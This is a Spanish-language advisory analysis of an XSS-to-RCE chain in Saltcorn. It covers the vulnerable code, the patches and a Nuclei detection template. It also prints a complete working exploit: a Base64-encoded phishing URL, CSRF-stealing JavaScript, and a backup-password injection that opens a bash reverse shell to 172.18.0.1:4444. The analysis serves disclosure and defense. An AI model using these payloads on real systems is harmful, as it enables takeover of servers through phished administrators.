GHSA-cr3w-cw5w-h3fj: RCE mediante 1 clic en Saltcorn
Análisis de GHSA-cr3w-cw5w-h3fj, una vulnerabilidad crítica de XSS a RCE con CVSS 9.7 en Saltcorn (≤ 1.5.0-beta.19). El encadenamiento de dos fallos, XSS reflejado en parámetros de ruta e inyección de comandos en la generación de copias de seguridad, permite la ejecución remota de código mediante phishing a administradores.
GHSA-cr3w-cw5w-h3fj
RCE mediante 1 clic en Saltcorn 24 de febrero de 2026 · CVSS 9.7 Crítica · Saltcorn ≤ 1.5.0-beta.19
| CVE | CVSS | Affected | Fixed |
|---|---|---|---|
| Not assigned | 9.7 Critical | ≥ 1.1.1, < 1.5.0-beta.19 | 1.5.0-beta.19+ |
1. Visión general técnica: cadena de explotación de XSS a RCE en Saltcorn
Saltcorn es una herramienta de creación de aplicaciones web de código abierto y basada en bases de datos que cuenta con una interfaz de administración para la edición de páginas y código, copias de seguridad y gestión del sistema.
GHSA-cr3w-cw5w-h3fj es crítica no por un único fallo, sino porque encadena dos vulnerabilidades:
- XSS reflejado en el procesamiento de parámetros
- Inyección de comandos en la construcción del comando de copia de seguridad
De forma aislada, cada fallo crea un riesgo de seguridad. Al combinarse, permiten que un atacante ejecute comandos del sistema operativo cuando un administrador abre un enlace especialmente diseñado.
2. XSS reflejado en parámetros de ruta
En versiones vulnerables hasta la 1.5.0-beta.19, el parámetro de ruta name se transmite directamente a send_admin_page() como sub2_page y page_title sin escape HTML.
Patrón de código vulnerable:
router.get(
"/edit-codepage/:name",
isAdmin,
error_catcher(async (req, res) => {
const { name } = req.params; // raw user input, no sanitization
// ...
send_admin_page({
res,
req,
page_title: req.__(`%s code page`, name), // unescaped
sub2_page: req.__(`%s code page`, name), // unescaped → breadcrumb
// ...
});
})
);
send_admin_page() llama a send_settings_page() en packages/server/markup/admin.js, la cual ubica sub2_page textualmente como el texto del último nodo del hilo de navegación (breadcrumbs):
// packages/server/markup/admin.js (commit 020893c)
res.sendWrap(title, {
above: [
{
type: "breadcrumbs",
crumbs: [
{ text: req.__("Settings"), href: "/settings" },
{ text: req.__(active_sub), href: "..." },
...(sub2_page
? [{ text: sub2_page }] // ← name value inserted here, no escaping
: [])
],
},
// ...
],
});
res.sendWrap() renderiza sub2_page como HTML sin procesar dentro de una etiqueta \<a>. Cualquier contenido HTML en name se ejecuta en el navegador.
Dado que name fluye hacia el texto procesado de la interfaz de usuario sin saneamiento, un valor controlado por el atacante se convierte en HTML/JavaScript ejecutable.
Ejemplo de solicitud maliciosa:
GET /admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: target

Salida renderizada en versiones vulnerables:
... <a> <img src=x onerror=alert(document.domain)> code page </a> ...
3. Inyección de comandos en el tratamiento de la contraseña de la copia de seguridad
La segunda vulnerabilidad reside en la generación de copias de seguridad, donde se construye un comando de shell mediante interpolación de cadenas y luego se ejecuta.
Patrón vulnerable (backup.ts):
const cmd = `zip -5 -rq ${backup_password ? `-P "${backup_password}" ` : ""}"${absZipPath}" .`;
exec(cmd, { cwd: tmpDir }, (error) => { ... });
backup_password se inyecta directamente en una cadena de comando de shell. Un valor malicioso puede escapar del contexto -P "..." y anexar sintaxis de shell.
Ejemplo de contraseña maliciosa:
";$(id);#
Ejecución de comando resultante:
zip -5 -rq -P "";$(id);#" "/tmp/backup.zip" .
Esto conduce a la ejecución arbitraria de comandos en el contexto del servidor cuando se activa la copia de seguridad.

4. Explotación integral: encadenamiento de XSS e inyección de comandos
La explotación requiere dos componentes: un payload preparado incrustado en una página de phishing, e ingeniería social para entregarlo a un administrador autenticado.
Paso 1: payload de inyección de comandos
fetch('/admin/backup')
.then(r => r.text())
.then(html => {
var c = html.match(/name="_csrf" value="([^"]+)"/)[1];
fetch('/admin/set-backup-prefix', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: '_csrf=' + c + '&backup_file_prefix=sc-backup-&backup_history=on&backup_password=%22%3B%24%28bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F4444%200%3E%261%20%26%27%29%3B%22'
}).then(() =>
fetch('/admin/backup', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: '_csrf=' + c
})
)
});
El parámetro backup_password contiene un escape de shell codificado para URL. Tras decodificarse, se traduce en:
";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"
Contexto de ejecución en el servidor:
zip -5 -rq -P "";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"" "/tmp/backup.zip" .
Paso 2: payload de XSS
La URL maliciosa de la página de phishing incrusta un payload multicapa que utiliza codificación Base64 para eludir filtros simples:
http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
Payload de XSS decodificado:
<img src=x onerror=eval(atob("ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk="))>
5. Prueba de concepto: explotación integral de XSS a RCE
Esta prueba de concepto (PoC) demuestra una cadena de explotación completa de XSS a RCE contra un despliegue vulnerable de saltcorn/saltcorn:1.4.1, lo que da lugar a la ejecución remota de comandos mediante un payload malicioso del lado del administrador.
version: '3'
services:
postgres:
image: postgres:15
environment:
POSTGRES_USER: saltcorn
POSTGRES_PASSWORD: saltcorn
POSTGRES_DB: saltcorn
volumes:
- postgres-data:/var/lib/postgresql/data
saltcorn:
image: saltcorn/saltcorn:1.4.1
ports:
- "3000:3000"
environment:
PGHOST: postgres
PGUSER: saltcorn
PGPASSWORD: saltcorn
PGDATABASE: saltcorn
PGPORT: 5432
SALTCORN_SESSION_SECRET: fixedsecret
volumes:
- saltcorn-data:/home/saltcorn/.config/saltcorn
depends_on:
- postgres
command: serve
volumes:
postgres-data:
saltcorn-data:
Flujo de ejecución:
- Terminal del atacante: se establece un listener para recibir la reverse shell.

- Acción de la víctima: el administrador hace clic en el enlace malicioso.

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
- Reverse shell establecida: la cadena completa se ejecuta en menos de 2 segundos, proporcionando acceso remoto al atacante.

El proceso es casi invisible para el administrador y solo se muestra como una breve navegación en el navegador.
| Impact |
|---|
| Once command execution is achieved, the attacker can: • Read application secrets and configuration • Persist backdoors • Pivot into connected services • Compromise integrity and availability |
6. La solución: parche y mitigación en Saltcorn 1.5.0
La versión 1.5.0 de Saltcorn soluciona ambas vulnerabilidades de manera independiente. Implementar cualquiera de las dos correcciones por separado es suficiente para romper la cadena de explotación.
Corrección 1: escape de entradas
Escapar los parámetros de ruta/consulta antes de su renderizado downstream.
const escape_param = (obj) => {
const out = {};
for (const [k, v] of Object.entries(obj))
out[k] = typeof v === "string" ? text(v) : v;
return out;
};
req.params = escape_param(req.params);
req.query = escape_param(req.query);
Corrección 2: ejecución segura de comandos
Reemplazar exec(string) por spawn(binary, args) y pasar la contraseña como un argumento normal (sin interpolación de shell):
const args = ["-5", "-rq"];
if (backup_password) args.push("-P", backup_password);
args.push(absZipPath, ".");
spawn("zip", args, { cwd: tmpDir, shell: false });
Esto elimina la primitiva de inyección de cadenas en el shell.
7. Detección de XSS a RCE en Saltcorn con Ostorlab KEV
GHSA-cr3w-cw5w-h3fj (cadena de XSS a RCE en Saltcorn) está cubierta en el conjunto de detección de Known Exploited Vulnerabilities (KEV) de Ostorlab. El grupo de agentes KEV realiza escaneos automatizados a escala en servicios expuestos, orquestando herramientas como Nmap, Tsunami, Asteroid, Nuclei y Metasploit bajo un flujo de trabajo unificado.
La plantilla de Nuclei
Se desarrolló una plantilla de Nuclei dedicada para este aviso de seguridad y se añadió al repositorio de KEV.
A diferencia de la validación intrusiva de exploits, esta plantilla realiza una detección segura basada en reflexión sin autenticación:
- Solicitud GET a
/page/sc\<xss\>nuclei: inyecta corchetes angulares en un parámetro de ruta público. - Comprobación de coincidencia en el cuerpo: verifica que el payload
sc\<xss\>nucleise refleje sin codificar. - Comprobación de coincidencia negativa: garantiza que la forma codificada
sc<xss>nucleino aparezca. - Fingerprinting de Saltcorn: confirma la presencia mediante el marcador
_sc_version_tag.
La detección requiere que todas las condiciones del verificador coincidan: reflejo presente, codificación ausente y Saltcorn identificado.
La plantilla confirma la primitiva vulnerable de XSS que permite la cadena de inyección de comandos, sin activar copias de seguridad ni ejecutar comandos.
La plantilla completa está disponible en el repositorio de Ostorlab KEV en: github.com/Ostorlab/KEV/blob/main/nuclei/GHSA-cr3w-cw5w-h3fj.yaml
Referencias
| Resource | Link |
|---|---|
| GitHub Advisory | https://github.com/advisories/GHSA-cr3w-cw5w-h3fj |
| Saltcorn Repository | https://github.com/saltcorn/saltcorn |
| Fix Commit | https://github.com/saltcorn/saltcorn/commit/1bf681e08c45719a52afcf3506fb5ec59f4974d5 |
| Vulnerable Snapshot | https://github.com/saltcorn/saltcorn/commit/020893c |